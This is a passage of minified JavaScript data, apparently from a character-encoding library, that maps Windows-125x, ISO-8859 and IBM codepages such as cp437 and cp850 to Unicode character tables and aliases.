xA4\xA5\xA6\xA7\xA8\xA9\uFFFD\xAB\xAC\xAD\xAE\u2015\xB0\xB1\xB2\xB3\u0384\xB5\xB6\xB7\u0388\u0389\u038A\xBB\u038C\xBD\u038E\u038F\u0390\u0391\u0392\u0393\u0394\u0395\u0396\u0397\u0398\u0399\u039A\u039B\u039C\u039D\u039E\u039F\u03A0\u03A1\uFFFD\u03A3\u03A4\u03A5\u03A6\u03A7\u03A8\u03A9\u03AA\u03AB\u03AC\u03AD\u03AE\u03AF\u03B0\u03B1\u03B2\u03B3\u03B4\u03B5\u03B6\u03B7\u03B8\u03B9\u03BA\u03BB\u03BC\u03BD\u03BE\u03BF\u03C0\u03C1\u03C2\u03C3\u03C4\u03C5\u03C6\u03C7\u03C8\u03C9\u03CA\u03CB\u03CC\u03CD\u03CE\uFFFD"},win1253:"windows1253",cp1253:"windows1253",windows1254:{type:"_sbcs",chars:"\u20AC\uFFFD\u201A\u0192\u201E\u2026\u2020\u2021\u02C6\u2030\u0160\u2039\u0152\uFFFD\uFFFD\uFFFD\uFFFD\u2018\u2019\u201C\u201D\u2022\u2013\u2014\u02DC\u2122\u0161\u203A\u0153\uFFFD\uFFFD\u0178\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\u011E\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\u0130\u015E\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\u011F\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\u0131\u015F\xFF"},win1254:"windows1254",cp1254:"windows1254",windows1255:{type:"_sbcs",chars:"\u20AC\uFFFD\u201A\u0192\u201E\u2026\u2020\u2021\u02C6\u2030\uFFFD\u2039\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u2018\u2019\u201C\u201D\u2022\u2013\u2014\u02DC\u2122\uFFFD\u203A\uFFFD\uFFFD\uFFFD\uFFFD\xA0\xA1\xA2\xA3\u20AA\xA5\xA6\xA7\xA8\xA9\xD7\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xF7\xBB\xBC\xBD\xBE\xBF\u05B0\u05B1\u05B2\u05B3\u05B4\u05B5\u05B6\u05B7\u05B8\u05B9\u05BA\u05BB\u05BC\u05BD\u05BE\u05BF\u05C0\u05C1\u05C2\u05C3\u05F0\u05F1\u05F2\u05F3\u05F4\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u05D0\u05D1\u05D2\u05D3\u05D4\u05D5\u05D6\u05D7\u05D8\u05D9\u05DA\u05DB\u05DC\u05DD\u05DE\u05DF\u05E0\u05E1\u05E2\u05E3\u05E4\u05E5\u05E6\u05E7\u05E8\u05E9\u05EA\uFFFD\uFFFD\u200E\u200F\uFFFD"},win1255:"windows1255",cp1255:"windows1255",windows1256:{type:"_sbcs",chars:"\u20AC\u067E\u201A\u0192\u201E\u2026\u2020\u2021\u02C6\u2030\u0679\u2039\u0152\u0686\u0698\u0688\u06AF\u2018\u2019\u201C\u201D\u2022\u2013\u2014\u06A9\u2122\u0691\u203A\u0153\u200C\u200D\u06BA\xA0\u060C\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\u06BE\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\u061B\xBB\xBC\xBD\xBE\u061F\u06C1\u0621\u0622\u0623\u0624\u0625\u0626\u0627\u0628\u0629\u062A\u062B\u062C\u062D\u062E\u062F\u0630\u0631\u0632\u0633\u0634\u0635\u0636\xD7\u0637\u0638\u0639\u063A\u0640\u0641\u0642\u0643\xE0\u0644\xE2\u0645\u0646\u0647\u0648\xE7\xE8\xE9\xEA\xEB\u0649\u064A\xEE\xEF\u064B\u064C\u064D\u064E\xF4\u064F\u0650\xF7\u0651\xF9\u0652\xFB\xFC\u200E\u200F\u06D2"},win1256:"windows1256",cp1256:"windows1256",windows1257:{type:"_sbcs",chars:"\u20AC\uFFFD\u201A\uFFFD\u201E\u2026\u2020\u2021\uFFFD\u2030\uFFFD\u2039\uFFFD\xA8\u02C7\xB8\uFFFD\u2018\u2019\u201C\u201D\u2022\u2013\u2014\uFFFD\u2122\uFFFD\u203A\uFFFD\xAF\u02DB\uFFFD\xA0\uFFFD\xA2\xA3\xA4\uFFFD\xA6\xA7\xD8\xA9\u0156\xAB\xAC\xAD\xAE\xC6\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xF8\xB9\u0157\xBB\xBC\xBD\xBE\xE6\u0104\u012E\u0100\u0106\xC4\xC5\u0118\u0112\u010C\xC9\u0179\u0116\u0122\u0136\u012A\u013B\u0160\u0143\u0145\xD3\u014C\xD5\xD6\xD7\u0172\u0141\u015A\u016A\xDC\u017B\u017D\xDF\u0105\u012F\u0101\u0107\xE4\xE5\u0119\u0113\u010D\xE9\u017A\u0117\u0123\u0137\u012B\u013C\u0161\u0144\u0146\xF3\u014D\xF5\xF6\xF7\u0173\u0142\u015B\u016B\xFC\u017C\u017E\u02D9"},win1257:"windows1257",cp1257:"windows1257",windows1258:{type:"_sbcs",chars:"\u20AC\uFFFD\u201A\u0192\u201E\u2026\u2020\u2021\u02C6\u2030\uFFFD\u2039\u0152\uFFFD\uFFFD\uFFFD\uFFFD\u2018\u2019\u201C\u201D\u2022\u2013\u2014\u02DC\u2122\uFFFD\u203A\u0153\uFFFD\uFFFD\u0178\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\u0102\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\u0300\xCD\xCE\xCF\u0110\xD1\u0309\xD3\xD4\u01A0\xD6\xD7\xD8\xD9\xDA\xDB\xDC\u01AF\u0303\xDF\xE0\xE1\xE2\u0103\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\u0301\xED\xEE\xEF\u0111\xF1\u0323\xF3\xF4\u01A1\xF6\xF7\xF8\xF9\xFA\xFB\xFC\u01B0\u20AB\xFF"},win1258:"windows1258",cp1258:"windows1258",iso88591:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF"},cp28591:"iso88591",iso88592:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0104\u02D8\u0141\xA4\u013D\u015A\xA7\xA8\u0160\u015E\u0164\u0179\xAD\u017D\u017B\xB0\u0105\u02DB\u0142\xB4\u013E\u015B\u02C7\xB8\u0161\u015F\u0165\u017A\u02DD\u017E\u017C\u0154\xC1\xC2\u0102\xC4\u0139\u0106\xC7\u010C\xC9\u0118\xCB\u011A\xCD\xCE\u010E\u0110\u0143\u0147\xD3\xD4\u0150\xD6\xD7\u0158\u016E\xDA\u0170\xDC\xDD\u0162\xDF\u0155\xE1\xE2\u0103\xE4\u013A\u0107\xE7\u010D\xE9\u0119\xEB\u011B\xED\xEE\u010F\u0111\u0144\u0148\xF3\xF4\u0151\xF6\xF7\u0159\u016F\xFA\u0171\xFC\xFD\u0163\u02D9"},cp28592:"iso88592",iso88593:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0126\u02D8\xA3\xA4\uFFFD\u0124\xA7\xA8\u0130\u015E\u011E\u0134\xAD\uFFFD\u017B\xB0\u0127\xB2\xB3\xB4\xB5\u0125\xB7\xB8\u0131\u015F\u011F\u0135\xBD\uFFFD\u017C\xC0\xC1\xC2\uFFFD\xC4\u010A\u0108\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\uFFFD\xD1\xD2\xD3\xD4\u0120\xD6\xD7\u011C\xD9\xDA\xDB\xDC\u016C\u015C\xDF\xE0\xE1\xE2\uFFFD\xE4\u010B\u0109\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\uFFFD\xF1\xF2\xF3\xF4\u0121\xF6\xF7\u011D\xF9\xFA\xFB\xFC\u016D\u015D\u02D9"},cp28593:"iso88593",iso88594:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0104\u0138\u0156\xA4\u0128\u013B\xA7\xA8\u0160\u0112\u0122\u0166\xAD\u017D\xAF\xB0\u0105\u02DB\u0157\xB4\u0129\u013C\u02C7\xB8\u0161\u0113\u0123\u0167\u014A\u017E\u014B\u0100\xC1\xC2\xC3\xC4\xC5\xC6\u012E\u010C\xC9\u0118\xCB\u0116\xCD\xCE\u012A\u0110\u0145\u014C\u0136\xD4\xD5\xD6\xD7\xD8\u0172\xDA\xDB\xDC\u0168\u016A\xDF\u0101\xE1\xE2\xE3\xE4\xE5\xE6\u012F\u010D\xE9\u0119\xEB\u0117\xED\xEE\u012B\u0111\u0146\u014D\u0137\xF4\xF5\xF6\xF7\xF8\u0173\xFA\xFB\xFC\u0169\u016B\u02D9"},cp28594:"iso88594",iso88595:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0401\u0402\u0403\u0404\u0405\u0406\u0407\u0408\u0409\u040A\u040B\u040C\xAD\u040E\u040F\u0410\u0411\u0412\u0413\u0414\u0415\u0416\u0417\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u0420\u0421\u0422\u0423\u0424\u0425\u0426\u0427\u0428\u0429\u042A\u042B\u042C\u042D\u042E\u042F\u0430\u0431\u0432\u0433\u0434\u0435\u0436\u0437\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u0440\u0441\u0442\u0443\u0444\u0445\u0446\u0447\u0448\u0449\u044A\u044B\u044C\u044D\u044E\u044F\u2116\u0451\u0452\u0453\u0454\u0455\u0456\u0457\u0458\u0459\u045A\u045B\u045C\xA7\u045E\u045F"},cp28595:"iso88595",iso88596:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\uFFFD\uFFFD\uFFFD\xA4\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u060C\xAD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u061B\uFFFD\uFFFD\uFFFD\u061F\uFFFD\u0621\u0622\u0623\u0624\u0625\u0626\u0627\u0628\u0629\u062A\u062B\u062C\u062D\u062E\u062F\u0630\u0631\u0632\u0633\u0634\u0635\u0636\u0637\u0638\u0639\u063A\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u0640\u0641\u0642\u0643\u0644\u0645\u0646\u0647\u0648\u0649\u064A\u064B\u064C\u064D\u064E\u064F\u0650\u0651\u0652\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"},cp28596:"iso88596",iso88597:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u2018\u2019\xA3\u20AC\u20AF\xA6\xA7\xA8\xA9\u037A\xAB\xAC\xAD\uFFFD\u2015\xB0\xB1\xB2\xB3\u0384\u0385\u0386\xB7\u0388\u0389\u038A\xBB\u038C\xBD\u038E\u038F\u0390\u0391\u0392\u0393\u0394\u0395\u0396\u0397\u0398\u0399\u039A\u039B\u039C\u039D\u039E\u039F\u03A0\u03A1\uFFFD\u03A3\u03A4\u03A5\u03A6\u03A7\u03A8\u03A9\u03AA\u03AB\u03AC\u03AD\u03AE\u03AF\u03B0\u03B1\u03B2\u03B3\u03B4\u03B5\u03B6\u03B7\u03B8\u03B9\u03BA\u03BB\u03BC\u03BD\u03BE\u03BF\u03C0\u03C1\u03C2\u03C3\u03C4\u03C5\u03C6\u03C7\u03C8\u03C9\u03CA\u03CB\u03CC\u03CD\u03CE\uFFFD"},cp28597:"iso88597",iso88598:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\uFFFD\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xD7\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xF7\xBB\xBC\xBD\xBE\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u2017\u05D0\u05D1\u05D2\u05D3\u05D4\u05D5\u05D6\u05D7\u05D8\u05D9\u05DA\u05DB\u05DC\u05DD\u05DE\u05DF\u05E0\u05E1\u05E2\u05E3\u05E4\u05E5\u05E6\u05E7\u05E8\u05E9\u05EA\uFFFD\uFFFD\u200E\u200F\uFFFD"},cp28598:"iso88598",iso88599:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\u011E\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\u0130\u015E\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\u011F\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\u0131\u015F\xFF"},cp28599:"iso88599",iso885910:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0104\u0112\u0122\u012A\u0128\u0136\xA7\u013B\u0110\u0160\u0166\u017D\xAD\u016A\u014A\xB0\u0105\u0113\u0123\u012B\u0129\u0137\xB7\u013C\u0111\u0161\u0167\u017E\u2015\u016B\u014B\u0100\xC1\xC2\xC3\xC4\xC5\xC6\u012E\u010C\xC9\u0118\xCB\u0116\xCD\xCE\xCF\xD0\u0145\u014C\xD3\xD4\xD5\xD6\u0168\xD8\u0172\xDA\xDB\xDC\xDD\xDE\xDF\u0101\xE1\xE2\xE3\xE4\xE5\xE6\u012F\u010D\xE9\u0119\xEB\u0117\xED\xEE\xEF\xF0\u0146\u014D\xF3\xF4\xF5\xF6\u0169\xF8\u0173\xFA\xFB\xFC\xFD\xFE\u0138"},cp28600:"iso885910",iso885911:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0E01\u0E02\u0E03\u0E04\u0E05\u0E06\u0E07\u0E08\u0E09\u0E0A\u0E0B\u0E0C\u0E0D\u0E0E\u0E0F\u0E10\u0E11\u0E12\u0E13\u0E14\u0E15\u0E16\u0E17\u0E18\u0E19\u0E1A\u0E1B\u0E1C\u0E1D\u0E1E\u0E1F\u0E20\u0E21\u0E22\u0E23\u0E24\u0E25\u0E26\u0E27\u0E28\u0E29\u0E2A\u0E2B\u0E2C\u0E2D\u0E2E\u0E2F\u0E30\u0E31\u0E32\u0E33\u0E34\u0E35\u0E36\u0E37\u0E38\u0E39\u0E3A\uFFFD\uFFFD\uFFFD\uFFFD\u0E3F\u0E40\u0E41\u0E42\u0E43\u0E44\u0E45\u0E46\u0E47\u0E48\u0E49\u0E4A\u0E4B\u0E4C\u0E4D\u0E4E\u0E4F\u0E50\u0E51\u0E52\u0E53\u0E54\u0E55\u0E56\u0E57\u0E58\u0E59\u0E5A\u0E5B\uFFFD\uFFFD\uFFFD\uFFFD"},cp28601:"iso885911",iso885913:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u201D\xA2\xA3\xA4\u201E\xA6\xA7\xD8\xA9\u0156\xAB\xAC\xAD\xAE\xC6\xB0\xB1\xB2\xB3\u201C\xB5\xB6\xB7\xF8\xB9\u0157\xBB\xBC\xBD\xBE\xE6\u0104\u012E\u0100\u0106\xC4\xC5\u0118\u0112\u010C\xC9\u0179\u0116\u0122\u0136\u012A\u013B\u0160\u0143\u0145\xD3\u014C\xD5\xD6\xD7\u0172\u0141\u015A\u016A\xDC\u017B\u017D\xDF\u0105\u012F\u0101\u0107\xE4\xE5\u0119\u0113\u010D\xE9\u017A\u0117\u0123\u0137\u012B\u013C\u0161\u0144\u0146\xF3\u014D\xF5\xF6\xF7\u0173\u0142\u015B\u016B\xFC\u017C\u017E\u2019"},cp28603:"iso885913",iso885914:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u1E02\u1E03\xA3\u010A\u010B\u1E0A\xA7\u1E80\xA9\u1E82\u1E0B\u1EF2\xAD\xAE\u0178\u1E1E\u1E1F\u0120\u0121\u1E40\u1E41\xB6\u1E56\u1E81\u1E57\u1E83\u1E60\u1EF3\u1E84\u1E85\u1E61\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\u0174\xD1\xD2\xD3\xD4\xD5\xD6\u1E6A\xD8\xD9\xDA\xDB\xDC\xDD\u0176\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\u0175\xF1\xF2\xF3\xF4\xF5\xF6\u1E6B\xF8\xF9\xFA\xFB\xFC\xFD\u0177\xFF"},cp28604:"iso885914",iso885915:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2\xA3\u20AC\xA5\u0160\xA7\u0161\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\u017D\xB5\xB6\xB7\u017E\xB9\xBA\xBB\u0152\u0153\u0178\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF"},cp28605:"iso885915",iso885916:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0104\u0105\u0141\u20AC\u201E\u0160\xA7\u0161\xA9\u0218\xAB\u0179\xAD\u017A\u017B\xB0\xB1\u010C\u0142\u017D\u201D\xB6\xB7\u017E\u010D\u0219\xBB\u0152\u0153\u0178\u017C\xC0\xC1\xC2\u0102\xC4\u0106\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\u0110\u0143\xD2\xD3\xD4\u0150\xD6\u015A\u0170\xD9\xDA\xDB\xDC\u0118\u021A\xDF\xE0\xE1\xE2\u0103\xE4\u0107\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\u0111\u0144\xF2\xF3\xF4\u0151\xF6\u015B\u0171\xF9\xFA\xFB\xFC\u0119\u021B\xFF"},cp28606:"iso885916",cp437:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xE4\xE0\xE5\xE7\xEA\xEB\xE8\xEF\xEE\xEC\xC4\xC5\xC9\xE6\xC6\xF4\xF6\xF2\xFB\xF9\xFF\xD6\xDC\xA2\xA3\xA5\u20A7\u0192\xE1\xED\xF3\xFA\xF1\xD1\xAA\xBA\xBF\u2310\xAC\xBD\xBC\xA1\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03B1\xDF\u0393\u03C0\u03A3\u03C3\xB5\u03C4\u03A6\u0398\u03A9\u03B4\u221E\u03C6\u03B5\u2229\u2261\xB1\u2265\u2264\u2320\u2321\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0\xA0"},ibm437:"cp437",csibm437:"cp437",cp737:{type:"_sbcs",chars:"\u0391\u0392\u0393\u0394\u0395\u0396\u0397\u0398\u0399\u039A\u039B\u039C\u039D\u039E\u039F\u03A0\u03A1\u03A3\u03A4\u03A5\u03A6\u03A7\u03A8\u03A9\u03B1\u03B2\u03B3\u03B4\u03B5\u03B6\u03B7\u03B8\u03B9\u03BA\u03BB\u03BC\u03BD\u03BE\u03BF\u03C0\u03C1\u03C3\u03C2\u03C4\u03C5\u03C6\u03C7\u03C8\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03C9\u03AC\u03AD\u03AE\u03CA\u03AF\u03CC\u03CD\u03CB\u03CE\u0386\u0388\u0389\u038A\u038C\u038E\u038F\xB1\u2265\u2264\u03AA\u03AB\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0\xA0"},ibm737:"cp737",csibm737:"cp737",cp775:{type:"_sbcs",chars:"\u0106\xFC\xE9\u0101\xE4\u0123\xE5\u0107\u0142\u0113\u0156\u0157\u012B\u0179\xC4\xC5\xC9\xE6\xC6\u014D\xF6\u0122\xA2\u015A\u015B\xD6\xDC\xF8\xA3\xD8\xD7\xA4\u0100\u012A\xF3\u017B\u017C\u017A\u201D\xA6\xA9\xAE\xAC\xBD\xBC\u0141\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u0104\u010C\u0118\u0116\u2563\u2551\u2557\u255D\u012E\u0160\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u0172\u016A\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u017D\u0105\u010D\u0119\u0117\u012F\u0161\u0173\u016B\u017E\u2518\u250C\u2588\u2584\u258C\u2590\u2580\xD3\xDF\u014C\u0143\xF5\xD5\xB5\u0144\u0136\u0137\u013B\u013C\u0146\u0112\u0145\u2019\xAD\xB1\u201C\xBE\xB6\xA7\xF7\u201E\xB0\u2219\xB7\xB9\xB3\xB2\u25A0\xA0"},ibm775:"cp775",csibm775:"cp775",cp850:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xE4\xE0\xE5\xE7\xEA\xEB\xE8\xEF\xEE\xEC\xC4\xC5\xC9\xE6\xC6\xF4\xF6\xF2\xFB\xF9\xFF\xD6\xDC\xF8\xA3\xD8\xD7\u0192\xE1\xED\xF3\xFA\xF1\xD1\xAA\xBA\xBF\xAE\xAC\xBD\xBC\xA1\xAB\xBB\u2591\u2592\u2593\u2502\u2524\xC1\xC2\xC0\xA9\u2563\u2551\u2557\u255D\xA2\xA5\u2510\u2514\u2534\u252C\u251C\u2500\u253C\xE3\xC3\u255A\u2554\u2569\u2566\u2560\u2550\u256C\xA4\xF0\xD0\xCA\xCB\xC8\u0131\xCD\xCE\xCF\u2518\u250C\u2588\u2584\xA6\xCC\u2580\xD3\xDF\xD4\xD2\xF5\xD5\xB5\xFE\xDE\xDA\xDB\xD9\xFD\xDD\xAF\xB4\xAD\xB1\u2017\xBE\xB6\xA7\xF7\xB8\xB0\xA8\xB7\xB9\xB3\xB2\u25A0\xA0"},ibm850:"cp850",csibm850:"cp850",cp852:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xE4\u016F\u0107\xE7\u0142\xEB\u0150\u0151\xEE\u0179\xC4\u0106\xC9\u0139\u013A\xF4\xF6\u013D\u013E\u015A\u015B\xD6\xDC\u0164\u0165\u0141\xD7\u010D\xE1\xED\xF3\xFA\u0104\u0105\u017D\u017E\u0118\u0119\xAC\u017A\u010C\u015F\xAB\xBB\u2591\u2592\u2593\u2502\u2524\xC1\xC2\u011A\u015E\u2563\u2551\u2557\u255D\u017B\u017C\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u0102\u0103\u255A\u2554\u2569\u2566\u2560\u2550\u256C\xA4\u0111\u0110\u010E\xCB\u010F\u0147\xCD\xCE\u011B\u2518\u250C\u2588\u2584\u0162\u016E\u2580\xD3\xDF\xD4\u0143\u0144\u0148\u0160\u0161\u0154\xDA\u0155\u0170\xFD\xDD\u0163\xB4\xAD\u02DD\u02DB\u02C7\u02D8\xA7\xF7\xB8\xB0\xA8\u02D9\u0171\u0158\u0159\u25A0\xA0"},ibm852:"cp852",csibm852:"cp852",cp855:{type:"_sbcs",chars:"\u0452\u0402\u0453\u0403\u0451\u0401\u0454\u0404\u0455\u0405\u0456\u0406\u0457\u0407\u0458\u0408\u0459\u0409\u045A\u040A\u045B\u040B\u045C\u040C\u045E\u040E\u045F\u040F\u044E\u042E\u044A\u042A\u0430\u0410\u0431\u0411\u0446\u0426\u0434\u0414\u0435\u0415\u0444\u0424\u0433\u0413\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u0445\u0425\u0438\u0418\u2563\u2551\u2557\u255D\u0439\u0419\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u043A\u041A\u255A\u2554\u2569\u2566\u2560\u2550\u256C\xA4\u043B\u041B\u043C\u041C\u043D\u041D\u043E\u041E\u043F\u2518\u250C\u2588\u2584\u041F\u044F\u2580\u042F\u0440\u0420\u0441\u0421\u0442\u0422\u0443\u0423\u0436\u0416\u0432\u0412\u044C\u042C\u2116\xAD\u044B\u042B\u0437\u0417\u0448\u0428\u044D\u042D\u0449\